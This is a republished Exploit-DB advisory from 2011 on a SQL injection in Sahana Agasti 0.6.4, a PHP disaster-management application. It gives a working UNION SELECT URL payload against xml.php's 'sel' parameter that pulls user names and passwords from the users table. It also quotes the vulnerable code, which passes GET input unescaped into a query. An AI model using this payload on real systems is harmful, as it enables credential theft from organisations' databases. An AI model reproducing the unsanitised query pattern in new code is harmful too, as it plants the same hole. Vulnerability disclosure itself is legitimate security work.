Sahana Agasti 0.6.4 – SQL Injection - 体验盒子

作者： dun

日期： 2011-01-01

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/15889/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

:::::::-. ...::::::.:::.

;;, <code>';, ;; ;;;</code>;;;;,<code>;;;

</code>[[ [[[[' [[[[[[[[. '[[

$$,$$$$$$$$$$ "Y$c$$

888_,o8P'88.d888888Y88

MMMMP"` "YmmMMMM""MMM YM

[ Discovered by dun \ posdub[at]gmail.com ]

################################################################

#[ Sahana Agasti <= 0.6.4 ]SQL Injection Vulnerability #

################################################################

#

# Script: "Agasti is the PHP based project of the Sahana Software Foundation.

#Based a long-term preparedness for disaster management..."

#

# Script site: http://www.sahanafoundation.org/

# Download: https://launchpad.net/sahana-agasti/

#

# [SQL] Vuln:

# http://site.com/agasti/sahana-0.6.4/www/xml.php?act=add_loc&sel=1/**/UNION/**/SELECT/**/null,concat(CHAR(60,66,82,62),concat_ws(char(58),user_name,password)),null/**/FROM/**/users

#

# Bug: ./sahana-0.6.4/www/xml.php (lines: 17-21, 200-223)

#

# ...

# $act=$_GET{"act"};//

#

# if($act=='add_loc') // (1)

# {

# _shn_get_level_location();//

# ...

#

# function _shn_get_level_location(){

# require_once('../3rd/adodb/adodb.inc.php');

# require_once('../conf/sysconf.inc.php');

# //Make the connection to $global['db']

# $db = NewADOConnection($conf['db_engine']);

#$db ->Connect($conf['db_host'].($conf['db_port']?':'.$conf['db_port']:''),$conf['db_user'],$conf['db_pass'],$conf['db_name']);

#

# $level=$_GET{"sel"};// (2)

# if($level==1){

# echo "none,";

# }

# $q = "SELECT location.name,location.loc_uuid,parent_id FROM location WHERE location.opt_location_type={$level}";// (3) SQL

# $res_child=$db->Execute($q);

# if($res_child->EOF)

# return;

# while(!$res_child->EOF){

# $res=$res.",".$res_child->fields[1];

# $res=$res.",".$res_child->fields[0];

#$res_child->MoveNext();

#}

# echo $res;// (4)

# }

# ...

#

###############################################

[ dun / 2011-01-01 ]